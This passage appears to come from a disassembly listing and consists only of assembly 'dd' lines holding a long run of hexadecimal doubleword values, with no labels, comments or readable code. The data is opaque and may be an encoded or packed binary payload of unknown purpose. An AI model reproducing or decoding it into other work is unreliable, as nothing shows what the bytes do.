dd 6C591A27h, 0B6081CB0h, 0B0A1BA46h, 0E1333680h, 0E948CCh
dd 0F2015030h, 7F39B12h, 3B83F0A3h, 0B12C889Ch, 109C844h
dd 0BF24E4FFh, 0CDFED2ECh, 0DEFD10D5h, 0DF1200B5h, 3AE66C52h
dd 8D003805h, 0F881C37Ch, 2509BA65h, 0C206035h, 0E9FC4D42h
dd 7C3F7600h, 7B8C795Ah, 0F2B2ED0h, 0B4EB1530h, 0CD306448h
dd 273F3081h, 920995E6h, 1435CE17h, 40615A34h, 52CD4A9Ch
dd 2E00C385h, 4BA2DF02h, 7422F87h, 0C4FF7A32h, 30ECC0AEh
dd 48B0371Fh, 9A50C102h, 404526D2h, 34F37C28h, 40289DAFh
dd 0C1B9D99Ch, 413870FEh, 5CC0018h, 6FA26AF8h, 0B726049Fh
dd 0D11D08h, 82BCC63Eh, 463809AAh, 0F01B3DC0h, 383AA822h
dd 7700BF86h, 8A9DFCE4h, 8407AC91h, 100D21E8h, 6DC79897h
dd 99F0EA81h, 9293D832h, 802EBED8h, 1140389Fh, 0DB4203C8h
dd 3529B68Dh, 622735C7h, 64521BACh, 0E50788A0h, 41CC4C00h
dd 0FB4A8EA1h, 889B62h, 0FC2E0C02h, 5C2720C2h, 83020EAh
dd 33835Eh, 61BB9C15h, 2CB31A95h, 0B0ADBF27h, 142FF08h
dd 465D2178h, 0EBCE0623h, 1468329Dh, 41430321h, 96CE6900h
dd 0AC35D00Ah, 0BD04D44Eh, 34D2B052h, 27B07903h, 2F01D030h
dd 8C31525Ah, 0F70B989h, 0A56304A3h, 0DC7FFDBAh, 0B18C9E08h
dd 65588774h, 43B3B0DCh, 0D8031F42h, 0AECAC383h, 0AFB024BAh
dd 552740ECh, 710BFE1Dh, 570E6025h, 0E2569700h, 649C3362h
dd 6EFB5940h, 0C4AA0967h, 1480D721h, 708C07CAh, 5D1FB50Eh
dd 0D834CA2Fh, 9E251B11h, 0C5B52C10h, 0A998F275h, 0D9B3C800h
dd 0C1CC5080h, 4FCA013Ch, 0B1A37698h, 703180C7h, 54871CDAh
dd 0D68A094Dh, 0FE8622A5h, 0E4839148h, 2F38DCD5h, 41F84D35h
dd 9DFDE081h, 79A8FC4Ch, 0EB600F9h, 67A4A71Ah, 22166299h
dd 9400088Fh, 2350AD1Dh, 0D02E5460h, 90EA00F8h, 0A0051317h
dd 0D17A2A31h, 0D9280305h, 0CCA669EBh, 0C54EB883h, 0CBE3790Eh
dd 0C805F7C6h, 489744E0h, 69566D0Eh, 72D33083h, 0C29DA1BAh
dd 3F3CAD38h, 0F3040AFFh, 0F63282EAh, 90B00F8h, 0E134FC75h
dd 777116F1h, 6C008895h, 45279A00h, 6179601Dh, 7EE600D2h
dd 0BDA9FA31h, 5A12094Eh, 44DA766Dh, 88B8125Ah, 0D39ED80h
dd 8079B8D4h, 0B1A43A8Fh, 58D226B8h, 2022B02Fh, 56CC90A3h
dd 7FD8C800h, 0A649B9F5h, 900C23E8h, 98901D12h, 822330h
dd 5BA5AEAFh, 0ABD9EF5h, 7AD2C601h, 0CC31B95Fh, 0F42104FDh
dd 0B2C820F6h, 3D01608Dh, 0B0AD29F4h, 5468664Bh, 0B2452DC4h
dd 273F2364h, 40A9019h, 0C30724F2h, 64C4722Ch, 862708A7h
dd 51CC472Dh, 48163030h, 0F1742C4Fh, 2E84646Ch, 0DC6D0A43h
dd 0F85952h, 35AA93D4h, 0A00BD990h, 182B914Dh, 3C5E3A44h
dd 0B39E8E0Eh, 110C80E1h, 9ED1046Fh, 0B6057279h, 1C89A1DAh
dd 76F8C8h, 65D294F6h, 5696B0E3h, 0C60EE2FCh, 0CCAEF2CEh
dd 0C529B5h, 0FDB0D647h, 0BEA5ACE0h, 850A5D00h, 0E66EC449h
dd 0CEB12C97h, 3B03C10Ch, 442D112Ch, 204FF822h, 575C41E8h
dd 46A7E900h, 8C4581E7h, 3C61222h, 0CA9C1379h, 0B8B91144h
dd 4008AE26h, 5E20B60Ch, 0DCF7137Ch, 3090231Bh, 40721845h
dd 2B683100h, 0B01A2A9Dh, 85C75707h, 0C91F1EE2h, 50C630h
dd 186D9D95h, 0BA85EFD2h, 0AC65D75Ah, 0FB491431h, 28093011h
dd 0F55EC390h, 654288E6h, 25050082h, 2FD3602Eh, 0D8B9A3CCh
dd 0CD758840h, 20185FC6h, 9FC762F4h, 0FE812304h, 64F4A626h
dd 1784B809h, 13FB5B92h, 4050C8E8h, 1928E100h, 76A1E030h
dd 397C00BDh, 3092AD9h, 29C943E7h, 3F7CE1A0h, 0CB22C833h
dd 110C94FAh, 0B272784Eh, 1608248Ch, 0BA0F6148h, 2920D2B0h
dd 0FA2A03h, 0A47E4730h, 0A5FEAB31h, 6135891Eh, 0E95071F0h
dd 95A900F3h, 0C4970A05h, 9C2573D3h, 7E50447Bh, 723F0025h
dd 0C05ADEBDh, 6B0B3274h, 80093DC2h, 0E87ED687h, 74355927h
dd 0C6683096h, 490032CAh, 713115FDh, 2CC676Dh, 0BE04E7A2h
dd 14D1B9F3h, 111D25BAh, 2D114384h, 60E84C4Dh, 72BC60A0h
dd 3880D100h, 0D90D53A4h, 87290D2Eh, 29F933A5h, 49B8C4B8h
dd 6061C0F4h, 3FCA4931h, 0D800A695h, 86904F38h, 3FBEB37h
dd 0D42CCB50h, 70CAF2A9h, 0DCE7A480h, 41E09CB5h, 0A06C2F45h
dd 0FD5EA380h, 0BD3C826Fh, 4E630877h, 3A458899h, 7AA09E98h
dd 39BEF32Eh, 3284352Bh, 920C2A8h, 1690BDE7h, 0C2268685h
dd 8920CF10h, 5569105h, 0E7938CD1h, 0D8F2B9h, 32B5342Dh
dd 8D288h, 4EC33DAFh, 0B1055551h, 0BB2598B8h, 0AB49378h
dd 0DF4F848Ch, 4004E09Ch, 14396DCAh, 5FD708AEh, 8CF8033h
dd 0C3B0AB21h, 0D8190100h, 0C5E16432h, 85AC2711h, 6D1D3819h
dd 227C9408h, 61B83D57h, 4104CAFh, 71E25F8Ah, 0E30FE200h
dd 7C2FABC4h, 1326206Ah, 91472900h, 66D3A0FEh, 82BF994h
dd 9350C514h, 0FF7D1EB1h, 0D6E94038h, 5C3405Eh, 5A1E347Fh
dd 1E474BA0h, 0FBF03577h, 12E86DD5h, 28716BF1h, 395060B0h
dd 853C2E7Ch, 0BD1905EFh, 48C00A33h, 293B8D6Dh, 97C70D4h
dd 98657430h, 808C5F01h
dd 0F198B41Ch, 8D741E3Dh, 0ACC29700h, 0E21EC795h, 7A170481h
dd 0B4D07B6Fh, 2E44E79Ch, 340B11Bh, 6F7959FDh, 0D47325A9h
dd 88A1895Dh, 0CC2209D1h, 0F9324600h, 8E67B17h, 51064316h
dd 93F6C60h, 0D23B332Fh, 0D5F8DF31h, 6030352Dh, 25337934h
dd 0E62E032Fh, 0A9E701D7h, 8311CFA8h, 0F3730E00h, 0ABAA3179h
dd 19932633h, 52B8C10Ch, 97834B6h, 0D20380A6h, 0ECAF8053h
dd 982AD82Dh, 0A37F00E4h, 5EAC9E51h, 0A2E693Ah, 2438C1Dh
dd 0C154E108h, 946660h, 0A0F3E363h, 90151F8Eh, 2450760Bh
dd 2D0CB8B6h, 9E84A43Bh, 0A7609B8h, 93873001h, 48AC68EEh
dd 745C00E4h, 3C5EB5F0h, 9C20F93Fh, 0B90840BDh, 0A2813CB1h
dd 0C5882C4Ch, 20781872h, 0D09E4236h, 1F5BBF40h, 0F6D200B6h
dd 26E0D413h, 237D3BD6h, 2B2A1502h, 5309C69Bh, 2F020E90h
dd 0BC9721FDh, 98ECE0C9h, 1A4005EDh, 0B3472E74h, 4BB846A8h
dd 87BC848Ch, 188D7412h, 7BC202Eh, 0C43C83F5h, 0BBB9807Eh
dd 55E4FA43h, 764F004Dh, 0CAB28F90h, 0F32F69CEh, 0E834A0AFh
dd 487E39EBh, 3122406Dh, 0E48B9D2Ch, 6E299860h, 0E12417E8h
dd 2BD430BEh, 6D171AB7h, 8C0083B6h, 6CAADC05h, 6C1B9728h
dd 74CF8C2Ch, 51433C62h, 0BA350E04h, 99D2D034h, 0C20FAB8h
dd 0C02395C4h, 0AAF950C0h, 0E05DA1CCh, 0CDB01168h, 0C351B809h
dd 453A24D1h, 5F10841h, 0FCE305h, 89E1A0B4h, 129E276Ch
dd 3AA1452h, 3402A430h, 90F29Ch, 0B72F0308h, 241CFD50h
dd 4380AD6h, 0F282ED9Fh, 14130038h, 196543E1h, 4E2E2C37h
dd 3CEC25CCh, 0CB847400h, 50EED520h, 200093A6h, 413E2290h
dd 0D8AFBC01h, 4FB8A439h, 6D2449BEh, 40C2E400h, 0FF8D3C70h
dd 0F4E25C19h, 0E0A2D088h, 0A0090E13h, 93949881h, 112F3F11h
dd 0C22472Dh, 0D441527Ch, 64381826h, 924F090Eh, 0F24D1D8h
dd 0AEE03BD7h, 918436F7h, 34ADA900h, 4CE3DF45h, 0C190C838h
dd 770E4A5h, 58E07985h, 4F0C203Fh, 0D901FAF6h, 5107DEB9h
dd 74E9E96Fh, 0DFA020h, 91B756Eh, 0AED87CC5h, 3234C0Eh
dd 84985632h, 8A524A2Dh, 0C40D0094h, 44D91236h, 0C76C164Fh
dd 162D00F3h, 3BE7AA99h, 5214E8B3h, 7600DDB8h, 11D22E35h
dd 8ECC5CA9h, 7E501309h, 14C30041h, 60E6F08Ch, 0DAEB924Ch
dd 0CD0447CEh, 0BBD5BA51h, 628314F8h, 0C793C62Dh, 3C2CD9A5h
dd 1813C060h, 0EEF636E1h, 442E1455h, 8DD2D0C8h, 0B8018A8h
dd 6049B928h, 0B8B0702Dh, 8B38CE0h, 5178C3ACh, 4D40BA44h
dd 1E853CA4h, 71F4CA78h, 0B52F2404h, 0ECB80F21h, 9E008F22h
dd 9A53FB8Bh, 990E3F02h, 881D4488h, 0E50046E0h, 66FB8463h
dd 0A6AA38h, 296A81A7h, 0B6D953DDh, 0C8312C02h, 0E0F7AB39h
dd 38F557DCh, 3D115661h, 4C9E0955h, 0EEBC8BBAh, 293B5E08h
dd 0CF0FF420h, 98E99D24h, 8647B9E4h, 0C0808462h, 182B4AE5h
dd 2A327207h, 828B0644h, 0D14D2E5Ch, 90601218h, 0F7261440h
dd 5EA7F800h, 95E50C76h, 347F07B8h, 494DF25Fh, 79938841h
dd 0CFC0C00Ch, 780E7498h, 1ED0F689h, 15A62DEFh, 3C2FC1Dh
dd 40515843h, 28C8394h, 0A88C5EE9h, 4E54D31Ah, 389829E9h
dd 0B500B177h, 0EFD9BA41h, 2AEEE92Eh, 687257h, 97F25993h
dd 0FFE6C747h, 468E1F00h, 51392991h, 0DE52FC4h, 0DF26EC80h
dd 881E2E70h, 4FC40818h, 0ACD0F551h, 8ABAAFB9h, 6D0E3CF1h
dd 0F2DD6756h, 4C8B2B51h, 9F0D838h, 920926CAh, 0DAB189D5h
dd 2E9900FCh, 596BD3ACh, 14F2F00Dh, 0D009B87Fh, 0F1BFB178h
dd 5074004Ch, 0A45673A3h, 714CA900h, 0B52352Eh, 9CB3959Fh
dd 89879EEBh, 621B8C49h, 0CB10020h, 0BDC5ED21h, 17E30192h
dd 2B9B84E9h, 26E0CBB0h, 1C076490h, 5BFC745Dh, 20F93494h
dd 98E41BA2h, 0D137B600h, 46BAB860h, 0DAAA0149h, 3F7E5754h
dd 0AF7FE867h, 160CCB2h, 4E553AF9h, 0E04A1CC5h, 96AE8197h
dd 0E4181481h, 0C60E190Eh, 97129D1h, 209C71E9h, 8B920C8h
dd 68405F4Eh, 0AD05A530h, 0D5901F42h, 36D2C1EBh, 6679F9C0h
dd 9E9500F4h, 569D426Dh, 88607388h, 4C05813Ah, 0FC1DF499h
dd 0E448CCA3h, 802150C4h, 0B2653092h, 0C072100Fh, 0E92A0015h
dd 134E9177h, 0B33BCCBCh, 0D0D711F4h, 7188B849h, 48081A17h
dd 0C03545B5h, 8B025C55h, 0F8AE8424h, 24A2943h, 2D1AD44Ah
dd 58D63464h, 9F694208h, 693DD9BAh, 0BA784DA1h, 50304578h
dd 6DA288C6h, 27C0C404h, 24B45FEEh, 355900BCh, 24802CA0h
dd 215F5AABh, 0C8A2C065h, 83F38100h, 148AA09h, 0DB9D800h
dd 3322D605h, 746712C4h, 2F34DC91h, 61BF880Ch, 1CB712Eh
dd 84F45A2Dh, 0E817FD4Bh, 0E20040D2h, 74376319h, 97ED266Ah
dd 5DEC2Bh, 3F507577h, 2D84043Ah, 80576D4Dh, 0AA9714F8h
dd 0C145ACA6h, 0D280407Ch, 2AA04764h, 450DB200h, 4EF128A6h
dd 0D58F2618h, 0A405C0ECh, 0B9F6DD61h, 8490250Bh, 73D0054Ch
dd 713282BBh, 1493A859h, 0A87C248Dh, 0F4B1E280h, 0B33D3676h
dd 10C5AF33h, 27130Ch, 2E5F13Eh, 3D39EB50h, 63345804h
dd 0D4AC78AAh, 0F962C28Eh, 0F0E166AEh, 227C22CDh, 0B3D30255h
dd 369AFB12h, 8114006Ch, 0C8FC4AB8h, 6D9D42D5h, 13E69EE0h
dd 44B890B5h, 0B1CA0CBCh, 0E1C112Ch, 857BE53Fh, 4EFFC1FBh
dd 0E0847825h, 5D002C8Bh, 6AB67FFDh, 70483CE7h, 45942D3Dh
dd 5ABAB4h, 0D619C04Ch, 6898C649h, 634534B2h, 18878430h
dd 61C4ADBAh, 402EB49h, 0F7D944A5h, 2CCCDC43h, 88BC1084h
dd 154181C3h, 38E76048h, 6D0FC024h, 2A8C49Bh, 6E29B968h
dd 0ACEE1D3Eh, 80806499h, 27F9CE0Ah, 4CF7828h, 0A9D1463Dh
dd 5AE0B36Bh, 52BC74D0h, 27389428h, 0D3AE7810h, 57BB0D00h
dd 5EE2AD41h, 0BF34939Eh, 0D386B98Ah, 223E4ED4h, 70D3AE4Bh
dd 744F03Ch, 2DEE188Fh, 2EEBBEB3h, 6A16C176h, 74981DB2h
dd 17458805h, 62DBF702h, 742E3642h, 9C4CEBE4h, 7910CA04h
dd 5E40BB1Ch, 0EB7A606Ah, 0B22C7700h, 25E2B43Bh, 444C3DD6h
dd 3A84445Ah, 7C7022FCh, 0CF974014h, 0AC7CD45Ch, 810BC17Bh
dd 3B8905CCh, 98B0DC54h, 5EB88857h, 0B5F24100h, 0F37D1F46h
dd 59304827h, 867B3704h, 88C48093h, 0E7486F51h, 8E05C084h
dd 560C3913h, 0A26E8BCh, 0D308C0C8h, 0E85402FDh, 3F1F5C38h
dd 0C5D7A3CFh, 1EF61830h, 0C1EB0048h, 16E83E7Bh, 0E0E1FEC8h
dd 1812396Fh, 5808BF09h, 0D01B934Fh, 67052704h, 0B96BB00h
dd 4D43CD53h, 2BCB00A7h, 0B70C2026h, 1C166CC3h, 83584B9h
dd 51095472h, 0FFC9002Ch, 528BF51Bh, 0CE7D4A26h, 0B9CC0D00h
dd 25A481DBh, 84104EB8h, 0E31FE09Bh, 9513D757h, 2F09B490h
dd 6EC08B46h, 25B4B31h, 2CE9073h, 8CF5FD49h, 185BDA5Fh
dd 0A5BE4A08h, 5D079090h, 5FB3A20Bh, 0D0844222h, 49850424h
dd 926939B5h, 2D2453ECh, 41C8DCE8h, 62254C64h, 84466D10h
dd 0E500A2EEh, 47D9834Bh, 0B9BD94h, 39BC31BEh, 0BA214068h
dd 53C4D652h, 0A3CB0084h, 545A4CAFh, 13B10040h, 0C2DB17B4h
dd 0E526D8B0h, 0B6C40012h, 70909340h, 0AB00B0DEh, 988B9D88h
dd 90C23F7h, 0AFF8F46Eh, 7B619CC8h, 28EB5500h, 0A9C31838h
dd 0FE71681h, 0C80C74AAh, 19715C44h, 4B002E74h, 1847F684h
dd 2577384Dh, 14432572h, 0F31140D4h, 1823DB4h, 0AA057E2Dh
dd 0F45CD934h, 7D01FE74h, 0F5CF11BAh, 7842532Eh, 1852EDh
dd 0D27F5893h, 5106B97Ch
dd 2E023CFAh, 0D5D83FFDh, 0CE90C2BDh, 0B86D0818h, 980CC49h
dd 0BF78FBFFh, 40A0BC67h, 0BEDCEA1Eh, 0C1C6400h, 447B1BABh
dd 0D77A21h, 84DBD05h, 0DB06C79Ch, 98A30C2Fh, 489D9E84h
dd 788024EAh, 0DDE32C25h, 1EDB2305h, 90A7A046h, 7915697Ah
dd 82472090h, 8B4CB513h, 2958F482h, 277E0844h, 0DBB08702h
dd 59198E38h, 0ECFA863Ch, 0BC0029B6h, 0A23B3584h, 0E254C764h
dd 4E750A8Eh, 2AB17F8h, 52B923D3h, 0E04B04Ch, 0AFFBB29Dh
dd 1CEE7CC8h, 40F12D11h, 0BB0AF765h, 0BA00411Ch, 27FEFA95h
dd 9578D43Ch, 725F8899h, 0C4080004h, 149D59E8h, 0C1FE00DCh
dd 3C627367h, 50BC5D37h, 0A4C3C1CEh, 0A47004D1h, 84109447h
dd 829EF730h, 0E82B69F8h, 0BFDE300h, 0AFBABE53h, 0BB46B448h
dd 110E7912h, 44502CF4h, 46844293h, 30FB2426h, 7B284878h
dd 80DF0381h, 26E4B62Ch, 0BCE0CD98h, 8D1AFA0Bh, 0F9944C0Ch
dd 0D1F28468h, 23A70320h, 0E99C1732h, 0F2E81390h, 383D03E8h
dd 0FF3A0988h, 6482DAA4h, 0BC182BDDh, 0DC054A32h, 0BA4E7F1Eh
dd 213B898h, 9C5B2E0Dh, 3CC23D2Ah, 0DD27782Eh, 3E405063h
dd 7F2CC4E3h, 0DC230C9Dh, 0EAD8B909h, 1C84F980h, 981B412Eh
dd 2FB0EF43h, 83B9EC70h, 49D8B4CBh, 0A40010E5h, 0EADBABD6h
dd 0ADB9004Fh, 0DC537C9Ah, 0A01619B8h, 421F8403h, 96BB4D4Eh
dd 5EE4D8h, 0F1124A37h, 0A0588378h, 5514E0Bh, 1C046006h
dd 569B88B8h, 64400200h, 805D190Dh, 0C26609C0h, 0F0F9AF7Ah
dd 81B73D00h, 90536D87h, 352B004Dh, 19E79C1h, 56EA8995h
dd 0B1F71D2Fh, 5AEA05C8h, 0B9170374h, 1B428788h, 0C6F022h
dd 0E9F6DA1h, 0A409BF83h, 31884901h, 83526A3h, 5F251427h
dd 117954E8h, 5B010F02h, 0C0F72CB7h, 4AF0D730h, 0CCA0C9C1h
dd 180011FEh, 8C822FF2h, 98E298Ah, 0A3D3EC4Eh, 0BA02406Ch
dd 0D72B6B9Bh, 64707C8Eh, 46E75D7Bh, 0BAE31610h, 9FACF27Fh
dd 0D3B9ECC0h, 1F31A489h, 0FA8134EAh, 7AD052h, 307C0A12h
dd 89E136C0h, 0A925D5FEh, 2AA43917h, 68532D11h, 17A8A0E8h
dd 0EF6B009Fh, 569A5F4Ch, 0D27D5BB9h, 0B223CF7Ah, 0F249123Ch
dd 0F95480F4h, 0B8B91B90h, 3F072FEDh, 0F7DAC4C8h, 2129D0C0h
dd 1D46FE13h, 56A0840Fh, 4864B634h, 3AD0C0ACh, 0FCE20Eh
dd 0E1A36B02h, 8777FEACh, 8F0BF7ECh, 0F929D274h, 1E4501ACh
dd 0E07D0C16h, 5902874Ah, 12657E81h, 0C49476A5h, 5E7CA41Dh
dd 0F7007470h, 0AA98E8F3h, 1415623h, 87E16627h, 7E72B1B9h
dd 65528020h, 94B0050h, 0C5B37496h, 0CA005F6Bh, 432DAAA1h
dd 952414A5h, 0F645F439h, 0E4382D22h, 80953B7Ch, 0A39C0589h
dd 90510842h, 0B03BAD00h, 0D91A73h, 7C0DA5A0h, 0DBFC9B6Ch
dd 0BCF51105h, 44944452h, 751E58B2h, 0A881BBE7h, 49BF2128h
dd 0EB5AE0A0h, 0D0030471h, 90B8A3DAh, 0E93138C6h, 0AF84BEBDh
dd 0A9A11EE2h, 0B8BF8h, 6C358740h, 4EB927D4h, 2CB2289Ah
dd 0B4FE446h, 0BEAD4861h, 0D6454808h, 0E00C202Fh, 0D001D58Ah
dd 0D14C89AFh, 0D3E862E8h, 105701EDh, 514F3F79h, 188868F9h
dd 0E239315Fh, 80C14A80h, 6DB4F7BEh, 0FCDBA900h, 9673CD56h
dd 0D8694B3Bh, 4D76B89Ch, 0E80981C1h, 7C22EAAAh, 3A818D03h
dd 2FE848A2h, 9900B57Ch, 933447E2h, 9F08837Fh, 0F56ACC00h
dd 0BB44EAA9h, 0F8590022h, 98EC31C5h, 0B609AFA6h, 0D1A2D295h
dd 0B4E4A738h, 2CBC7D00h, 58A0DE2Ah, 12E0B1h, 0E7BF72ABh
dd 53AA9E1Ch, 165466E5h, 842C452Dh, 0D168005Fh, 12FC5F2h
dd 8C16E727h, 5D1E4Ch, 1209447Eh, 0B34FF73h, 5C25F5C0h
dd 9DC0D8A2h, 3C302926h, 0D7780Eh, 8549272h, 0D3B81675h
dd 68550180h, 0EAF611E1h, 32F9A460h, 0D8A62F02h, 0C6A51691h
dd 213F032Ch, 588F67BDh, 10C548D0h, 0B6E1B0Fh, 3D055F5Ah
dd 34E65CD3h, 0C5182724h, 610CF070h, 8A002899h, 399D7348h
dd 4147737h, 3E3D42D4h, 21B4FC05h, 0B33C406Bh, 0CA0043A8h
dd 0DAEBFA71h, 43DE8968h, 2EF90B90h, 46FCC449h, 0AA097BE8h
dd 73889D8Ah, 58E0A764h, 0BB050E1Dh, 0BEBA7296h, 5B0240F3h
dd 0DD314509h, 6C5C60E2h, 7A1CC672h, 0B2930736h, 80FC23D2h
dd 12FE09C5h, 98207716h, 311C3C04h, 0F3DA68B1h, 0FB2807Ch
dd 1E08FFEDh, 3A396001h, 52456C2Ah, 292F7C27h, 6B21D011h
dd 4B879A81h, 15ACAE0h, 0B030DC2Bh, 0FE49DA72h, 0DB4430C0h
dd 1E9F6A12h, 0A067D8CDh, 30CC2727h, 50078302h, 5A0AD4Dh
dd 0C1F8FDBBh, 7997B92Ah, 0F83759C5h, 0F8410314h, 0B9522D84h
dd 83000BCh, 0C3317A9Ch, 0B0909501h, 65160BF9h, 0A8C858E6h
dd 11DE0254h, 0C6414BC1h, 0E7E40056h, 35287420h, 21F8B195h
dd 3E80802Ch, 5102418Ch, 6F002DF0h, 0E24CE964h, 4FE9220h
dd 3D841252h, 0B714A033h, 4BD688h, 7DE98F46h, 0D0C0F4F7h
dd 6FDE4101h, 7665A3F3h, 8984D830h, 0E0206F30h, 90BFA6Ah
dd 0F71F4B7Eh, 70558E00h, 720B5A2Ah, 0B0A3C806h, 441D097Ch
dd 0C20051B7h, 0BE3F2C80h, 3BA22217h, 0E1801F76h, 5E388AE6h
dd 0A3097D6Dh, 0B974C15Ch, 270845D8h, 1DCB98Eh, 0E87F4729h
dd 0CA5C7461h, 0B8229F81h, 80CC4C85h, 0C909E41Fh, 6E9A4605h
dd 5C32A085h, 0C0E871A4h, 9E577EAAh, 4A52E209h, 46400061h
dd 9F681D15h, 0B26AC810h, 0B0F7991Dh, 9B31FC02h, 44B76009h
dd 0A7ECB3BCh, 0C0020890h, 2A913800h, 96CA7B80h, 91A870BFh
dd 20628EC0h, 6FB9C2A3h, 3039FE81h, 722D9384h, 3E404409h
dd 0B70077C9h, 8F85260Bh, 6D70B1E6h, 809E9238h, 7A59CADBh
dd 230A1BDh, 0D6ABC3F8h, 0B155A510h, 303EBBC0h, 3B2E79D4h
dd 66FC12B5h, 54433BFCh, 70D6DA00h, 0B568FB8Ch, 8AE92E01h
dd 27CA4FC2h, 88A37C34h, 1093900Ah, 91015CA0h, 0A45B79BBh
dd 32F45F67h, 15030082h, 698DE453h, 7E02491h, 0A1082E09h
dd 0BC680431h, 90CB5440h, 0E47EC3E3h, 52171832h, 93AC4E0Bh
dd 1AA28B6Ch, 0D0864022h, 5D60AC2Ah, 0E6E8F8h, 8D98A1AAh
dd 563DB3FDh, 478B8A00h, 3965425Eh, 449490DEh, 3B22036Ch
dd 889E0156h, 0B491372Bh, 8F382835h, 3FDA20C6h, 12B55D1Dh
dd 0F1C59CCCh, 26F06418h, 809A2E74h, 4BDF183Eh, 204208C2h
dd 0E8647FBEh, 0B181EA01h, 30266F6Ah, 0E610203Fh, 60317A5h
dd 0DAF67442h, 85BB98CAh, 0F2B0A1h, 354EF3E9h, 0CB0EC86Ah
dd 20F96898h, 0D12C7094h, 474270B0h, 7360E1F7h, 0F15C206Ah
dd 0D43AB714h, 90A71F31h, 182F1680h, 9297046h, 7F95B8DFh
dd 47D434A4h, 7E80EC47h, 96B08Eh, 2CD5F24Fh, 0F365014Dh
dd 3967861Ch, 57DF6441h, 0CE2E51B8h, 214E2100h, 6B0A094h
dd 0D2BD2A0Ch, 0E9201835h, 0BB4C0B0Fh, 0BCC81D08h, 31E22A20h
dd 90FAB900h, 0CBCCC134h, 22A4B09Ch, 26784443h, 574E7E70h
dd 0E65CF8D0h, 49710BE5h, 0D448FAECh, 94A1B5A4h, 40F4F22Dh
dd 5F273440h, 0B1AB1306h, 9E6CE0BFh, 0A1B0FA50h, 0C8A9672Eh
dd 6094EC20h, 5CEA6FC2h, 90460009h, 975451F0h, 4BE7E906h
dd 3BD80869h, 0E74815C9h, 55220C4Ch, 0EB99C301h, 34F05960h
dd 52B81420h, 344CA04Dh, 75F3C0DFh, 0BA81EBA9h, 0B89EFCACh
dd 5CEA9E40h, 3FCE0078h, 0E748F771h, 0D3012B0Ah, 514E2E59h
dd 442D4330h, 0E71EB822h, 0CF40069Bh, 0F1192085h, 0CC50772h
dd 5509BFC8h, 2DE8C074h, 0B013FFEh, 344726A5h, 3C78EB78h
dd 0E54BB917h, 0C8007A90h
dd 16D32539h, 20E0F635h, 8B3312Fh, 14A44500h, 2CBD5h, 7A205583h
dd 22BC5B2Bh, 0ACE8CF29h, 8C49D300h, 4BF512h, 0C6EA62Ah
dd 5C86D5E5h, 8CB04190h, 9D2401F6h, 0F824A06Bh, 8C30E32Dh
dd 1444A349h, 7900BB98h, 63B2170Dh, 18FA7F78h, 0EE46BD15h
dd 65766F41h, 343E1090h, 90B40F0h, 5E08794Fh, 1058D8C1h
dd 37BE1DDh, 794CAC3Fh, 200078E0h, 5CC90B6Fh, 1EE567E8h
dd 40ECBC9Ah, 4462BD47h, 0C319C58Ch, 18199896h, 2C67A96h
dd 0FDE628Ch, 0D0E29071h, 985A43E2h, 1CDD95h, 0DABB569Bh
dd 5362E660h, 30BCE11Bh, 2CC5D898h, 4E71026Dh, 0D201E7F2h
dd 0EA3088D2h, 474251C4h, 40331DE5h, 0E902092Fh, 0C694CC79h
dd 0A82728F5h, 4962F78h, 87BDE888h, 1AA6C785h, 94F80097h
dd 33A007BFh, 0D6A47104h, 0C0ACB9CFh, 4C82A189h, 2C58EE84h
dd 4A284D22h, 0A14C830h, 0A0A68100h, 2C679A0Fh, 7C750080h
dd 0DBB8B4F2h, 5F882F60h, 8599006Fh, 55C05779h, 7E002501h
dd 41269E88h, 0FD05AE1h, 86A0DD9Ah, 70C3C127h, 0C98FF0C4h
dd 0BA5B4D00h, 17E82BEDh, 529E88D2h, 4A834Ch, 93C51615h
dd 9A97C8h, 77F4CFBAh, 565B94E9h, 0BC66D600h, 0B2269BC3h
dd 0ECF5293Dh, 2CA430D0h, 950041E8h, 4F8D48FDh, 76AEACB6h
dd 0E37909FBh, 30E426D0h, 0C1204900h, 0AA04F9C6h, 0C4E200D5h
dd 0A3A0F481h, 120F25DAh, 0E0CFC935h, 2A3AE978h, 0C401500Dh
dd 5F8B043h, 0D1ADC270h, 0DCE0073Fh, 6803C8F0h, 0AA654D03h
dd 80585E1Dh, 0B9ECDFE3h, 2E00AC36h, 40730755h, 45BEE7h
dd 6E2A4388h, 28800DE8h, 0C44CEB00h, 0F75EA59Ch, 769200D9h
dd 8685D4Bh, 442402FCh, 57421446h, 0EA871BDh, 0C1E0B184h
dd 868D678Ah, 8F764C00h, 34F647EBh, 0ECA57E6Ah, 467724ADh
dd 0C4592584h, 250FEA08h, 780A5441h, 0CAAA8738h, 0C25BD1A0h
dd 0F4420013h, 0BCCDF615h, 0C6E078F8h, 0D85C3924h, 0B7242C04h
dd 0BA135340h, 3CB10ED7h, 25000AEh, 237A390Fh, 611D8382h
dd 28DC268Dh, 3503C1C0h, 0AD012625h, 71681F98h, 39E82998h
dd 80473FACh, 0F4EB8A97h, 1F20E6FFh, 699895h, 0E12AC36Bh
dd 350756A7h, 30296C08h, 68A08149h, 40A95F65h, 444608C0h
dd 42012787h, 7C1905B0h, 0F555000Dh, 0FF6CC52Bh, 0CA05794h
dd 0E495492Fh, 94243B8h, 5EC5C22Dh, 0F6C04EDCh, 156FE685h
dd 0AF231414h, 3033001Ch, 836247F5h, 45423EBCh, 5D11E97h
dd 0CCA15758h, 9BFC3500h, 56FA900h, 0D3810CF4h, 0F0F10168h
dd 0C4CA239Eh, 63C3C555h, 4C2D12ECh, 99FECACh, 0E8D6CDA0h
dd 8F2C8049h, 22505C7h, 1E3E6DDBh, 2C416A27h, 0E8C4F446h
dd 0E30E50ECh, 697290BAh, 50D85ED6h, 2B1F9859h, 81F9EFE5h
dd 0FD0C9E58h, 90664194h, 5C7C025Ah, 7C5CB0B4h, 422FDB60h
dd 0D9DF002Dh, 0A1E2A7ECh, 7C3F2AF0h, 1290CC45h, 0A0B58594h
dd 88155C20h, 0F0986A21h, 24463C26h, 0F060D424h, 415CA1h
dd 68ADABF2h, 0F3EE2283h, 0F1D2101h, 29496164h, 0F4DE9E02h
dd 0F0B0D843h, 1DF29C23h, 0F4DECBh, 6D3520A7h, 0EE134E85h
dd 582015E7h, 71C52644h, 0D2B1AD5h, 0A44608BDh, 0DC73F101h
dd 740C08C6h, 2EB2FDCh, 0AE37E2F6h, 90751C62h, 720D11Ch
dd 99DFC970h, 0ECDA5087h, 2E7D3504h, 8D0044F6h, 0E582C60Fh
dd 5E9C2Bh, 58A7C4C7h, 9BB811AEh, 71C89995h, 57004832h
dd 9F113AE5h, 0C05C95B8h, 0BD46C00Ch, 90295B39h, 30874C88h
